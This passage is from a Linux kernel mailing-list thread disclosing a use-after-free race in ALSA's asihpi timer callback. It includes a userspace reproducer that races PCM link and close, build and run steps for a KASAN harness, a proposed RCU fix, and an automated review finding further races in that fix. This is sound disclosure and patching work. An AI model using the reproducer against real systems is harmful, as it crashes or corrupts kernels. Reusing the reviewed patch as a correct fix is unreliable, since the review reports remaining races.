struct snd_pcm_hw_params p;
int i, ret;
memset(&p, 0, sizeof(p));
for (i = 0; i <= SNDRV_PCM_HW_PARAM_LAST_MASK -
SNDRV_PCM_HW_PARAM_FIRST_MASK; i++)
memset(&p.masks[i], 0xff, sizeof(p.masks[i]));
for (i = 0; i <= SNDRV_PCM_HW_PARAM_LAST_INTERVAL -
SNDRV_PCM_HW_PARAM_FIRST_INTERVAL; i++) {
p.intervals[i].min = 0;
p.intervals[i].max = UINT_MAX;
p.intervals[i].integer = 0;
}
p.rmask = ~0U;
ret = ioctl(fd, SNDRV_PCM_IOCTL_HW_REFINE, &p);
printf("HW_REFINE ret=%d errno=%d\n", ret, errno);
if (ret < 0)
return -1;
printf("refined: rate=%u ch=%u fmt=%u ps=%u periods=%u bs=%u\n",
p.intervals[SNDRV_PCM_HW_PARAM_RATE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min,
p.intervals[SNDRV_PCM_HW_PARAM_CHANNELS - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min,
__builtin_ctz(p.masks[SNDRV_PCM_HW_PARAM_FORMAT].bits[0]),
p.intervals[SNDRV_PCM_HW_PARAM_PERIOD_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min,
p.intervals[SNDRV_PCM_HW_PARAM_PERIODS - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min,
p.intervals[SNDRV_PCM_HW_PARAM_BUFFER_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min);
ret = ioctl(fd, SNDRV_PCM_IOCTL_HW_PARAMS, &p);
if (ret < 0) {
fprintf(stderr, "HW_PARAMS: %s\n", strerror(errno));
return -1;
}
return 0;
}
static int open_stream(void)
{
int fd = open(DEV, O_RDWR | O_NONBLOCK);
if (fd < 0)
fprintf(stderr, "open %s: %s\n", DEV, strerror(errno));
return fd;
}
static int prepare_stream(int fd)
{
if (set_hw_params(fd) < 0)
return -1;
if (ioctl(fd, SNDRV_PCM_IOCTL_PREPARE, 0) < 0) {
fprintf(stderr, "PREPARE: %s\n", strerror(errno));
return -1;
}
return 0;
}
static int start_stream(int fd)
{
if (ioctl(fd, SNDRV_PCM_IOCTL_START, 0) < 0) {
fprintf(stderr, "START: %s\n", strerror(errno));
return -1;
}
return 0;
}
static int one_close(void)
{
int fd = open_stream();
if (fd < 0)
return -1;
if (prepare_stream(fd) < 0 || start_stream(fd) < 0) {
close(fd);
return -1;
}
usleep(10000);
close(fd);
return 0;
}
static int one_link(void)
{
int a = open_stream();
int b = open_stream();
if (a < 0 || b < 0)
return -1;
if (prepare_stream(a) < 0 || prepare_stream(b) < 0)
goto out;
if (ioctl(a, SNDRV_PCM_IOCTL_LINK, b) < 0) {
fprintf(stderr, "LINK: %s\n", strerror(errno));
goto out;
}
if (start_stream(a) < 0)
goto out;
/* Let the A timer callback start walking the linked group. */
usleep(1500);
/* Close B while A's callback may be in the group loop. */
close(b);
b = -1;
usleep(1500);
out:
if (b >= 0)
close(b);
if (a >= 0)
close(a);
return 0;
}
int main(int argc, char **argv)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(1, &set);
sched_setaffinity(0, sizeof(set), &set);
int i, n = 200;
if (argc < 2) {
fprintf(stderr, "usage: %s close|link [iters]\n", argv[0]);
return 2;
}
if (argc > 2)
n = atoi(argv[2]);
printf("pcmtest: mode=%s iters=%d\n", argv[1], n);
for (i = 0; i < n; i++) {
if (!strcmp(argv[1], "link")) {
if (one_link() < 0)
break;
} else {
if (one_close() < 0)
break;
}
}
printf("pcmtest: done i=%d\n", i);
return 0;
}
^ permalink raw reply [flat|nested] 101+ messages in thread* [PATCH] Re: ALSA: pcm: link-group walk in timer callback can use a closed substream's freed runtime (UAF)
2026-11-13 12:15 ` ALSA: pcm: link-group walk in timer callback can use a closed substream's freed runtime (UAF) 徐晗翔
@ 2026-11-25 12:55 ` 徐晗翔
2026-11-25 13:12 ` sashiko-bot
2026-11-25 13:27 ` Takashi Iwai
0 siblings, 2 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-11-25 12:55 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
snd_pcm_group_for_each_entry() is a plain list_for_each_entry() over
substream->group->substreams. A driver timer callback (asihpi's
snd_card_asihpi_timer_function()) walked that list from softirq with
no group reference and no link rwsem, while the close of another
linked substream could unlink the members, reassign the survivors
and kfree() the group object -- the callback kept dereferencing a
stale s/runtime pointer and freed group memory (KASAN UAF).
Core: free the group object only after an RCU grace period (new
rcu_head in struct snd_pcm_group, kfree_rcu() at both free sites),
so a group pointer read without the link rwsem stays memory-safe
while a concurrent unlink tears the group down.
Driver: walk the group one member at a time under the group lock
with rcu_read_lock() held -- the lock makes membership (and each
member's runtime) stable while the member is processed, and RCU
keeps the group object alive. snd_pcm_stop_xrun()/
snd_pcm_period_elapsed() are deferred out of the locked section:
they enter snd_pcm_action(), which re-takes the group lock. A
substream object outlives its fd's close and both helpers recheck
substream->runtime under the stream lock, so the deferred calls are
safe against a concurrent close of the member.
---
sound/core/pcm_native.c | 12 ++++++++++--
include/sound/pcm.h | 6 ++++++
sound/pci/asihpi/asihpi.c | 144 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++---------------
3 files changed, 145 insertions(+), 17 deletions(-)
diff --git a/sound/core/pcm_native.c b/sound/core/pcm_native.c
--- a/sound/core/pcm_native.c
+++ b/sound/core/pcm_native.c
@@ -1368,7 +1368,11 @@
do_free = refcount_dec_and_test(&group->refs);
snd_pcm_group_unlock(group, substream->pcm->nonatomic);
if (do_free)
- kfree(group);
+ /* free only after an RCU grace period: a driver timer
+ * callback (softirq context) may hold group->lock under
+ * rcu_read_lock() without the link rwsem and must not
+ * touch freed group memory */
+ kfree_rcu(group, rcu_head);
}
/*
@@ -2401,7 +2405,11 @@
snd_pcm_group_unlock_irq(group, nonatomic);
if (do_free)
- kfree(group);
+ /* free only after an RCU grace period: a driver timer
+ * callback (softirq context) may hold group->lock under
+ * rcu_read_lock() without the link rwsem and must not
+ * touch freed group memory */
+ kfree_rcu(group, rcu_head);
return 0;
}
diff --git a/include/sound/pcm.h b/include/sound/pcm.h
--- a/include/sound/pcm.h
+++ b/include/sound/pcm.h
@@ -16,6 +16,7 @@
#include <linux/bitops.h>
#include <linux/pm_qos.h>
#include <linux/refcount.h>
+#include <linux/rcupdate.h>
#include <linux/uio.h>
#define snd_pcm_substream_chip(substream) ((substream)->private_data)
@@ -455,6 +456,11 @@
struct mutex mutex;
struct list_head substreams;
refcount_t refs;
+ /* a group object is freed only after an RCU grace period, so a
+ * lockless/atomic group walker (e.g. a driver timer callback that
+ * takes group->lock under rcu_read_lock()) cannot touch freed
+ * group memory while a concurrent unlink tears the group down */
+ struct rcu_head rcu_head;
};
struct pid;
diff --git a/sound/pci/asihpi/asihpi.c b/sound/pci/asihpi/asihpi.c
--- a/sound/pci/asihpi/asihpi.c
+++ b/sound/pci/asihpi/asihpi.c
@@ -136,6 +136,8 @@
unsigned int pcm_buf_dma_ofs; /* DMA R/W offset in buffer */
unsigned int pcm_buf_elapsed_dma_ofs; /* DMA R/W offset in buffer */
unsigned int drained_count;
+ bool timer_walked; /* one-shot mark for the timer
+ * callback's group walk */
struct snd_pcm_substream *substream;
u32 h_stream;
struct hpi_format format;
@@ -705,6 +707,31 @@
return result;
}
+/* Pick the next group member this timer callback has not processed yet.
+ * Must be called with the group lock held and under rcu_read_lock(): the
+ * group list cannot change under us, so every member's runtime is still
+ * alive. */
+static struct snd_pcm_substream *
+asihpi_timer_next_member(struct snd_pcm_substream *substream,
+ struct snd_card_asihpi *card)
+{
+ struct snd_pcm_substream *s;
+
+ snd_pcm_group_for_each_entry(s, substream) {
+ struct snd_card_asihpi_pcm *ds = s->runtime->private_data;
+
+ if (snd_pcm_substream_chip(s) != card)
+ continue;
+ /* don't link Cap and Play */
+ if (substream->stream != s->stream)
+ continue;
+ if (ds->timer_walked)
+ continue;
+ return s;
+ }
+ return NULL;
+}
+
/** Timer function, equivalent to interrupt service routine for cards
*/
static void snd_card_asihpi_timer_function(struct timer_list *t)
@@ -713,10 +740,12 @@
struct snd_pcm_substream *substream = dpcm->substream;
struct snd_card_asihpi *card = snd_pcm_substream_chip(substream);
struct snd_pcm_runtime *runtime;
+ struct snd_pcm_group *group;
struct snd_pcm_substream *s;
unsigned int newdata = 0;
unsigned int pcm_buf_dma_ofs, min_buf_pos = 0;
unsigned int remdata, xfercount, next_jiffies;
+ unsigned long flags;
int first = 1;
u16 state;
u32 buffer_size, bytes_avail, samples_played, on_card_bytes;
@@ -725,17 +754,58 @@
snd_pcm_debug_name(substream, name, sizeof(name));
- /* find minimum newdata and buffer pos in group */
+ /*
+ * Walk the PCM link group one member at a time, under the group
+ * lock and an RCU read lock. This callback runs from a timer
+ * (softirq) with no group reference and no link rwsem, so a close
+ * of another linked substream could previously unlink the members,
+ * free the group object and free that member's runtime while this
+ * walk was holding a stale s/runtime pointer.
+ *
+ * The group lock keeps the membership (and each member's runtime)
+ * stable while the member is processed; the RCU read lock keeps
+ * the group object itself alive (snd_pcm_unlink() frees it only
+ * after a grace period). snd_pcm_stop_xrun() and
+ * snd_pcm_period_elapsed() must run WITHOUT the group lock -- they
+ * enter snd_pcm_action(), which re-takes the group lock -- so they
+ * are deferred to after the unlocked section. A substream object
+ * outlives the close of its fd, and both helpers recheck
+ * substream->runtime under the stream lock.
+ */
+
+ /* clear the one-shot walk marks of the previous invocation */
+ rcu_read_lock();
+ group = READ_ONCE(substream->group); /* kept alive by RCU */
+ spin_lock_irqsave(&group->lock, flags);
snd_pcm_group_for_each_entry(s, substream) {
- struct snd_card_asihpi_pcm *ds = s->runtime->private_data;
- runtime = s->runtime;
+ if (snd_pcm_substream_chip(s) == card) {
+ struct snd_card_asihpi_pcm *ds =
+ s->runtime->private_data;
- if (snd_pcm_substream_chip(s) != card)
- continue;
+ ds->timer_walked = false;
+ }
+ }
+ spin_unlock_irqrestore(&group->lock, flags);
+ rcu_read_unlock();
- /* don't link Cap and Play */
- if (substream->stream != s->stream)
- continue;
+ /* find minimum newdata and buffer pos in group */
+ for (;;) {
+ struct snd_card_asihpi_pcm *ds;
+ struct snd_pcm_substream *xrun = NULL;
+
+ rcu_read_lock();
+ group = READ_ONCE(substream->group); /* kept alive by RCU */
+ spin_lock_irqsave(&group->lock, flags);
+
+ s = asihpi_timer_next_member(substream, card);
+ if (!s) {
+ spin_unlock_irqrestore(&group->lock, flags);
+ rcu_read_unlock();
+ break;
+ }
+ ds = s->runtime->private_data;
+ runtime = s->runtime;
+ ds->timer_walked = true;
hpi_handle_error(hpi_stream_get_info_ex(
ds->h_stream, &state,
@@ -762,8 +832,9 @@
"P%d drained\n", s->number);
ds->drained_count++;
if (ds->drained_count > 20) {
- snd_pcm_stop_xrun(s);
- continue;
+ /* defer to after the unlock */
+ xrun = s;
+ goto member_done;
}
} else {
ds->drained_count = 0;
@@ -799,6 +870,13 @@
(unsigned long)frames_to_bytes(runtime,
runtime->control->appl_ptr)
);
+
+member_done:
+ spin_unlock_irqrestore(&group->lock, flags);
+ rcu_read_unlock();
+
+ if (xrun)
+ snd_pcm_stop_xrun(xrun);
}
pcm_buf_dma_ofs = min_buf_pos;
@@ -818,12 +896,41 @@
asihpi_dbg("timer2, jif=%d, buf_pos=%d, newdata=%d, xfer=%d\n",
next_jiffies, pcm_buf_dma_ofs, newdata, xfercount);
+ /* clear the one-shot walk marks again for the second pass */
+ rcu_read_lock();
+ group = READ_ONCE(substream->group); /* kept alive by RCU */
+ spin_lock_irqsave(&group->lock, flags);
snd_pcm_group_for_each_entry(s, substream) {
- struct snd_card_asihpi_pcm *ds = s->runtime->private_data;
+ if (snd_pcm_substream_chip(s) == card) {
+ struct snd_card_asihpi_pcm *ds =
+ s->runtime->private_data;
- /* don't link Cap and Play */
- if (substream->stream != s->stream)
- continue;
+ ds->timer_walked = false;
+ }
+ }
+ spin_unlock_irqrestore(&group->lock, flags);
+ rcu_read_unlock();
+
+ /* second pass, again one member at a time under the group lock
+ * (see above); snd_pcm_period_elapsed() is deferred to after the
+ * unlock for the same reason as snd_pcm_stop_xrun() */
+ for (;;) {
+ struct snd_card_asihpi_pcm *ds;
+ struct snd_pcm_substream *elapsed = NULL;
+
+ rcu_read_lock();
+ group = READ_ONCE(substream->group); /* kept alive by RCU */
+ spin_lock_irqsave(&group->lock, flags);
+
+ s = asihpi_timer_next_member(substream, card);
+ if (!s) {
+ spin_unlock_irqrestore(&group->lock, flags);
+ rcu_read_unlock();
+ break;
+ }
+ ds = s->runtime->private_data;
+ runtime = s->runtime;
+ ds->timer_walked = true;
/* Store dma offset for use by pointer callback */
ds->pcm_buf_dma_ofs = pcm_buf_dma_ofs;
@@ -887,8 +994,15 @@
/* ? host_rw_ofs always ahead of elapsed_dma_ofs by preload size? */
ds->pcm_buf_host_rw_ofs += xfercount;
ds->pcm_buf_elapsed_dma_ofs += xfercount;
- snd_pcm_period_elapsed(s);
+ /* defer to after the unlock */
+ elapsed = s;
}
+
+ spin_unlock_irqrestore(&group->lock, flags);
+ rcu_read_unlock();
+
+ if (elapsed)
+ snd_pcm_period_elapsed(elapsed);
}
if (!card->hpi->interrupt_mode && dpcm->respawn_timer)
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-11-13 20:15:08 (星期五)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: ALSA: pcm: link-group walk in timer callback can use a closed substream's freed runtime (UAF)
>
> `snd_card_asihpi_timer_function()` walks the PCM link group with
> `snd_pcm_group_for_each_entry()` and dereferences each member's
> `s->runtime->private_data`. That macro is a plain `list_for_each_entry()`;
> the callback holds no group reference and no group lock. Close of another
> linked substream can unlink/free the group and detach/free that substream's
> runtime and `dpcm`, leaving the timer callback with a stale `s`/runtime
> pointer. This is reachable from user space through
> `SNDRV_PCM_IOCTL_LINK` plus close, on hardware whose driver supports PCM
> linking (asihpi does).
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux 7.3.0 source plus a QEMU/KASAN fake-PCM harness. No ASI6205 hardware
> was available; the harness reproduces the core group traversal and close
> ordering, with the asihpi callback's exact
> `snd_pcm_group_for_each_entry()` pattern.
>
> * Mechanism
>
> The group loops are at `sound/pci/asihpi/asihpi.c:729-735` and `821-827`.
> They read `s->runtime->private_data` (and in one path `dma_area`) and call
> `snd_pcm_period_elapsed(s)`. The macro is
> `include/sound/pcm.h:694`:
>
> #define snd_pcm_group_for_each_entry(s, substream) \
> list_for_each_entry(s, &substream->group->substreams, link_list)
>
> `snd_pcm_stream_lock_irq()` (`sound/core/pcm_native.c:140-144`) locks
> `substream->self_group`, not the group that the timer callback walks.
> `snd_pcm_unlink()` (`pcm_native.c:2370-2402`) takes
> `snd_pcm_link_rwsem` and the group lock, removes the closing substream,
> relinks the remaining streams, and may `kfree(group)`.
> `snd_pcm_release_substream()` (`pcm_native.c:2785-2805`) calls
> `pcm_release_private()` -> `snd_pcm_unlink()` at 2779-2783 before
> `snd_pcm_detach_substream()` frees the runtime and `dpcm`.
>
> A timer callback that already loaded member `s` or `s->runtime` can run
> after B's unlink/detach. It may then read freed `runtime`, freed
> `private_data`, or a freed group list node; `snd_pcm_period_elapsed(s)`
> additionally takes the stale substream.
>
> * Why existing synchronization does not close the window
>
> `snd_pcm_stop()` does transiently take a group reference through
> `snd_pcm_action()` -> `snd_pcm_stream_group_ref()` (`pcm_native.c:1378-1427`)
> and group lock, but it drops the reference after the STOP action. The
> asihpi timer callback is not part of that action and holds no group
> reference. Taking `snd_pcm_stream_lock_irq(A)` in the callback would only
> lock A's `self_group`; it would not pin B or the group. The group can be
> freed while the callback holds a raw member pointer.
>
> * Trigger model
>
> Two capture substreams A and B, same PCM and runtime state; user does
> `SNDRV_PCM_IOCTL_LINK` then starts A. While A's timer callback is walking
> the group, user closes B. `SNDRV_PCM_IOCTL_LINK` is available to a local
> user with the PCM device open; no special privilege is needed beyond access
> to the PCM. Consequence: UAF in timer context, crash or memory corruption.
>
>
> * How to run the PoC
>
> The harness is self-contained and does not need ASI6205 hardware: it creates
> a fake ALSA card with two capture substreams. The tested configuration was
> 7.3.0 with KASAN and 4 vCPU; a uniprocessor run may not overlap.
>
> Build against the target kernel build tree:
>
> printf 'obj-m := sndpci_race.o\n' > Kbuild
> make -C <kernel-build-dir> M=$PWD modules
> gcc -static -O2 -I<kernel-source>/include/uapi -o pcmtest pcmtest.c
>
> Put `sndpci_race.ko` and `pcmtest` into the guest initramfs/rootfs, boot the
> target kernel (QEMU/KVM recommended), then run as root:
>
> insmod sndpci_race.ko mode=pcm
> ./pcmtest link 200
> dmesg | grep -E 'BUG: KASAN|race_pcm_timer|victim use'
>
> In the minimal guest the fake card enumerates as card 0 and `pcmtest` opens
> `/dev/snd/pcmC0D0c`. If the test machine already has another sound card,
> adjust `DEV` in `pcmtest.c` or use the QEMU initramfs. Expected result:
> 32 KASAN reports with `slab-use-after-free in race_pcm_timer` and about 114
> `victim use` lines.
>
>
> * Suggested direction
>
> This needs a core/lifetime fix, not just an asihpi timer fix. Possible
> directions: make group traversal safe against concurrent unlink (group
> reference or RCU-protected/atomic-safe iterator that pins each member's
> runtime), or provide a driver API that snapshots/refcounts members before
> the callback walks them. On the asihpi side, quiesce the timer/IRQ before
> allowing the linked substream to detach. Adding only
> `snd_pcm_stream_lock_irq(A)` is not sufficient because it locks A's
> `self_group`, not the group being walked.
>
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: ALSA: pcm: link-group walk in timer callback can use a closed substream's freed runtime (UAF)
2026-11-25 12:55 ` [PATCH] " 徐晗翔
@ 2026-11-25 13:12 ` sashiko-bot
2026-11-25 13:27 ` Takashi Iwai
1 sibling, 0 replies; 101+ messages in thread
From: sashiko-bot @ 2026-11-25 13:12 UTC (permalink / raw)
To: 徐晗翔; +Cc: linux-sound
Thank you for your contribution! Sashiko AI review found 7 potential
issues to consider:
- [Critical] ALSA: asihpi: unlocked group list walk in
snd_card_asihpi_timer_function()
- [Critical] ALSA: asihpi: deferred elapsed/xrun calls race with
snd_pcm_detach_substream()
- [Critical] ALSA: asihpi: unsynchronized timer stop and missing runtime
checks on close
- [High] ALSA: asihpi: shared timer_walked race in
snd_card_asihpi_timer_function()
- [High] ALSA: asihpi: spin_lock_irqsave held across DSP polling and
MMIO transfers
- [High] ALSA: pcm: missing Signed-off-by trailer in commit message
- [Low] ALSA: pcm: missing Fixes trailer in commit message
--
commit 7d06715d1a9473c30893b41b4784ed5585d479ae
Author: 徐晗翔 <xuhx@hust.edu.cn>
> ALSA: pcm: link-group walk in timer callback can use a closed substream's freed runtime (UAF)
>
> snd_pcm_group_for_each_entry() is a plain list_for_each_entry() over
> substream->group->substreams. A driver timer callback (asihpi's
> snd_card_asihpi_timer_function()) walked that list from softirq with
> no group reference and no link rwsem, while the close of another
> linked substream could unlink the members, reassign the survivors
> and kfree() the group object -- the callback kept dereferencing a
> stale s/runtime pointer and freed group memory (KASAN UAF).
>
> Core: free the group object only after an RCU grace period (new
> rcu_head in struct snd_pcm_group, kfree_rcu() at both free sites),
> so a group pointer read without the link rwsem stays memory-safe
> while a concurrent unlink tears the group down.
>
> Driver: walk the group one member at a time under the group lock
> with rcu_read_lock() held -- the lock makes membership (and each
> member's runtime) stable while the member is processed, and RCU
> keeps the group object alive. snd_pcm_stop_xrun()/
> snd_pcm_period_elapsed() are deferred out of the locked section:
> they enter snd_pcm_action(), which re-takes the group lock. A
> substream object outlives its fd's close and both helpers recheck
> substream->runtime under the stream lock, so the deferred calls are
> safe against a concurrent close of the member.
[Severity: High]
The commit message is missing a Signed-off-by: trailer.
[Severity: Low]
Since this fixes a bug in the asihpi timer callback, should it include a
Fixes: tag?
Fixes: 719f82d3987a ("ALSA: Add support of AudioScience ASI boards")
> diff --git a/sound/pci/asihpi/asihpi.c b/sound/pci/asihpi/asihpi.c
> index b78e96caef9d0..768f2969004fb 100644
> --- a/sound/pci/asihpi/asihpi.c
> +++ b/sound/pci/asihpi/asihpi.c
> @@ -136,6 +136,8 @@ struct snd_card_asihpi_pcm {
> unsigned int pcm_buf_dma_ofs; /* DMA R/W offset in buffer */
> unsigned int pcm_buf_elapsed_dma_ofs; /* DMA R/W offset in buffer */
> unsigned int drained_count;
> + bool timer_walked; /* one-shot mark for the timer
> + * callback's group walk */
> struct snd_pcm_substream *substream;
> u32 h_stream;
> struct hpi_format format;
> @@ -705,6 +707,31 @@ static inline unsigned int modulo_min(unsigned int a, unsigned int b,
> return result;
> }
>
> +/* Pick the next group member this timer callback has not processed yet.
> + * Must be called with the group lock held and under rcu_read_lock(): the
> + * group list cannot change under us, so every member's runtime is still
> + * alive. */
> +static struct snd_pcm_substream *
> +asihpi_timer_next_member(struct snd_pcm_substream *substream,
> + struct snd_card_asihpi *card)
> +{
> + struct snd_pcm_substream *s;
> +
> + snd_pcm_group_for_each_entry(s, substream) {
> + struct snd_card_asihpi_pcm *ds = s->runtime->private_data;
> +
> + if (snd_pcm_substream_chip(s) != card)
> + continue;
> + /* don't link Cap and Play */
> + if (substream->stream != s->stream)
> + continue;
> + if (ds->timer_walked)
> + continue;
> + return s;
> + }
> + return NULL;
> +}
> +
> /** Timer function, equivalent to interrupt service routine for cards
> */
> static void snd_card_asihpi_timer_function(struct timer_list *t)
> @@ -713,10 +740,12 @@ static void snd_card_asihpi_timer_function(struct timer_list *t)
> struct snd_pcm_substream *substream = dpcm->substream;
> struct snd_card_asihpi *card = snd_pcm_substream_chip(substream);
> struct snd_pcm_runtime *runtime;
> + struct snd_pcm_group *group;
> struct snd_pcm_substream *s;
> unsigned int newdata = 0;
> unsigned int pcm_buf_dma_ofs, min_buf_pos = 0;
> unsigned int remdata, xfercount, next_jiffies;
> + unsigned long flags;
> int first = 1;
> u16 state;
> u32 buffer_size, bytes_avail, samples_played, on_card_bytes;
> @@ -725,17 +754,58 @@ static void snd_card_asihpi_timer_function(struct timer_list *t)
>
> snd_pcm_debug_name(substream, name, sizeof(name));
>
> - /* find minimum newdata and buffer pos in group */
> + /*
> + * Walk the PCM link group one member at a time, under the group
> + * lock and an RCU read lock. This callback runs from a timer
> + * (softirq) with no group reference and no link rwsem, so a close
> + * of another linked substream could previously unlink the members,
> + * free the group object and free that member's runtime while this
> + * walk was holding a stale s/runtime pointer.
> + *
> + * The group lock keeps the membership (and each member's runtime)
> + * stable while the member is processed; the RCU read lock keeps
> + * the group object itself alive (snd_pcm_unlink() frees it only
> + * after a grace period). snd_pcm_stop_xrun() and
> + * snd_pcm_period_elapsed() must run WITHOUT the group lock -- they
> + * enter snd_pcm_action(), which re-takes the group lock -- so they
> + * are deferred to after the unlocked section. A substream object
> + * outlives the close of its fd, and both helpers recheck
> + * substream->runtime under the stream lock.
> + */
> +
> + /* clear the one-shot walk marks of the previous invocation */
> + rcu_read_lock();
> + group = READ_ONCE(substream->group); /* kept alive by RCU */
> + spin_lock_irqsave(&group->lock, flags);
> snd_pcm_group_for_each_entry(s, substream) {
> - struct snd_card_asihpi_pcm *ds = s->runtime->private_data;
> - runtime = s->runtime;
> + if (snd_pcm_substream_chip(s) == card) {
> + struct snd_card_asihpi_pcm *ds =
> + s->runtime->private_data;
>
> - if (snd_pcm_substream_chip(s) != card)
> - continue;
> + ds->timer_walked = false;
> + }
> + }
> + spin_unlock_irqrestore(&group->lock, flags);
> + rcu_read_unlock();
>
> - /* don't link Cap and Play */
> - if (substream->stream != s->stream)
> - continue;
> + /* find minimum newdata and buffer pos in group */
> + for (;;) {
> + struct snd_card_asihpi_pcm *ds;
> + struct snd_pcm_substream *xrun = NULL;
> +
> + rcu_read_lock();
> + group = READ_ONCE(substream->group); /* kept alive by RCU */
> + spin_lock_irqsave(&group->lock, flags);
> +
> + s = asihpi_timer_next_member(substream, card);
> + if (!s) {
> + spin_unlock_irqrestore(&group->lock, flags);
> + rcu_read_unlock();
> + break;
> + }
> + ds = s->runtime->private_data;
> + runtime = s->runtime;
> + ds->timer_walked = true;
[Severity: Critical]
Can snd_card_asihpi_timer_function() lock a stale group and then walk
substream->group->substreams without holding the current group's lock?
All four lock sites read group = READ_ONCE(substream->group) and acquire
group->lock without rechecking that substream->group == group (the way
snd_pcm_stream_group_ref() does), while snd_pcm_group_for_each_entry()
expands to list_for_each_entry(s, &substream->group->substreams, link_list)
and re-reads substream->group:
CPU0 (<softirq>) CPU1
snd_card_asihpi_timer_function()
group = READ_ONCE(substream->group)
/* group == G1 */
snd_pcm_unlink(peer)
spin_lock_irq(&G1->lock)
relink_to_local(substream)
substream->group = &substream->self_group
spin_unlock_irq(&G1->lock)
snd_pcm_link(other, substream)
/* moves substream to G2 */
spin_lock_irqsave(&G1->lock, ...)
asihpi_timer_next_member()
snd_pcm_group_for_each_entry()
/* walks G2->substreams under G1->lock */
close(member_in_G2)
snd_pcm_unlink(member_in_G2)
snd_pcm_detach_substream(member_in_G2)
kfree(runtime)
s->runtime->private_data <-- use-after-free
In addition, snd_pcm_link() calls snd_pcm_group_assign(substream, group)
under substream->self_group.lock before acquiring target_group->lock, so
reading substream->group without substream->self_group.lock can also observe
the new group while snd_pcm_group_assign() is still mutating its substreams
list. If substream->group changes mid-loop, the list_entry_is_head() check
in snd_pcm_group_for_each_entry() also compares against the new list head
and walks past the old list head.
[Severity: High]
Can two timers running in the same link group corrupt each other's walk
state through ds->timer_walked and use on_card_bytes uninitialized?
Multiple members of the same group can have active timers at once: for
instance, when a playback and a capture substream on the same card are
linked (snd_card_asihpi_trigger() starts a timer per direction, whereas the
two mark-clearing loops clear ds->timer_walked for all group members on the
card regardless of stream direction), or when two already-running streams
are linked via SNDRV_PCM_IOCTL_LINK. Because group->lock is dropped after
clearing ds->timer_walked and after each member:
CPU0 (timer A) CPU1 (timer B)
snd_card_asihpi_timer_function()
/* clear timer_walked = false */
spin_unlock_irqrestore(&group->lock)
snd_card_asihpi_timer_function()
/* Pass 1 marks all members
* ds->timer_walked = true */
spin_lock_irqsave(&group->lock)
asihpi_timer_next_member()
/* returns NULL on 1st iter */
break;
if (xfercount &&
on_card_bytes > ...) <-- uninitialized on_card_bytes
When Pass 1 exits on its first iteration like this, on_card_bytes has never
been written by hpi_stream_get_info_ex() and Pass 2 overwrites each member's
ds->pcm_buf_dma_ofs with min_buf_pos (0). Conversely, if timer B runs its
mark-clearing loop while timer A is partway through Pass 2, timer A visits
already-processed members a second time, performing duplicate
hpi_outstream_write_buf() / hpi_instream_read_buf() transfers and advancing
pcm_buf_host_rw_ofs and pcm_buf_elapsed_dma_ofs twice in one pass. Also,
because Pass 2 leaves ds->timer_walked set to true, a stream linked into the
group after the first mark-clearing loop is skipped in Pass 1.
[ ... ]
> @@ -799,6 +870,13 @@ static void snd_card_asihpi_timer_function(struct timer_list *t)
> (unsigned long)frames_to_bytes(runtime,
> runtime->control->appl_ptr)
> );
> +
> +member_done:
> + spin_unlock_irqrestore(&group->lock, flags);
> + rcu_read_unlock();
> +
> + if (xrun)
> + snd_pcm_stop_xrun(xrun);
> }
> pcm_buf_dma_ofs = min_buf_pos;
[ ... ]
> @@ -887,8 +994,15 @@ static void snd_card_asihpi_timer_function(struct timer_list *t)
> /* ? host_rw_ofs always ahead of elapsed_dma_ofs by preload size? */
> ds->pcm_buf_host_rw_ofs += xfercount;
> ds->pcm_buf_elapsed_dma_ofs += xfercount;
> - snd_pcm_period_elapsed(s);
> + /* defer to after the unlock */
> + elapsed = s;
> }
> +
> + spin_unlock_irqrestore(&group->lock, flags);
> + rcu_read_unlock();
> +
> + if (elapsed)
> + snd_pcm_period_elapsed(elapsed);
> }
>
> if (!card->hpi->interrupt_mode && dpcm->respawn_timer)
[Severity: Critical]
Does deferring snd_pcm_stop_xrun() and snd_pcm_period_elapsed() outside
group->lock race with snd_pcm_detach_substream() on a closing member?
The comment notes that both helpers recheck substream->runtime under the
stream lock, but snd_pcm_detach_substream() does not acquire
pcm_stream_lock:
sound/core/pcm.c:snd_pcm_detach_substream() {
...
if (substream->timer) {
scoped_guard(spinlock_irq, &substream->timer->lock)
substream->runtime = NULL;
} else {
substream->runtime = NULL;
}
mutex_destroy(&runtime->buffer_mutex);
snd_fasync_free(runtime->fasync);
kfree(runtime);
...
}
Once group->lock is dropped, a concurrent close() on elapsed (or xrun) can
finish snd_pcm_unlink() and enter snd_pcm_detach_substream():
CPU0 (<softirq>) CPU1
snd_card_asihpi_timer_function()
elapsed = s;
spin_unlock_irqrestore(&group->lock)
snd_pcm_release_substream(s)
snd_pcm_unlink(s)
...
snd_pcm_detach_substream(s)
snd_pcm_period_elapsed(elapsed)
guard(pcm_stream_lock_irqsave)(s)
snd_pcm_period_elapsed_under_stream_lock(s)
if (PCM_RUNTIME_CHECK(s))
runtime = s->runtime;
s->runtime = NULL;
snd_fasync_free(runtime->fasync);
kfree(runtime);
if (!snd_pcm_running(s) || ...)
/* dereferences s->runtime->state */
snd_kill_fasync(runtime->fasync, ...) <-- use-after-free
Even if snd_pcm_detach_substream() finishes setting elapsed->runtime = NULL
before snd_pcm_period_elapsed() takes the stream lock,
PCM_RUNTIME_CHECK(substream) triggers snd_BUG_ON(!substream->runtime) when
CONFIG_SND_DEBUG is enabled.
[Severity: Critical]
What happens if the timer-owning substream itself is closed, or a member
runs hw_free, while snd_card_asihpi_timer_function() is between its locked
sections?
A substream stays on its own substream->self_group.substreams list even
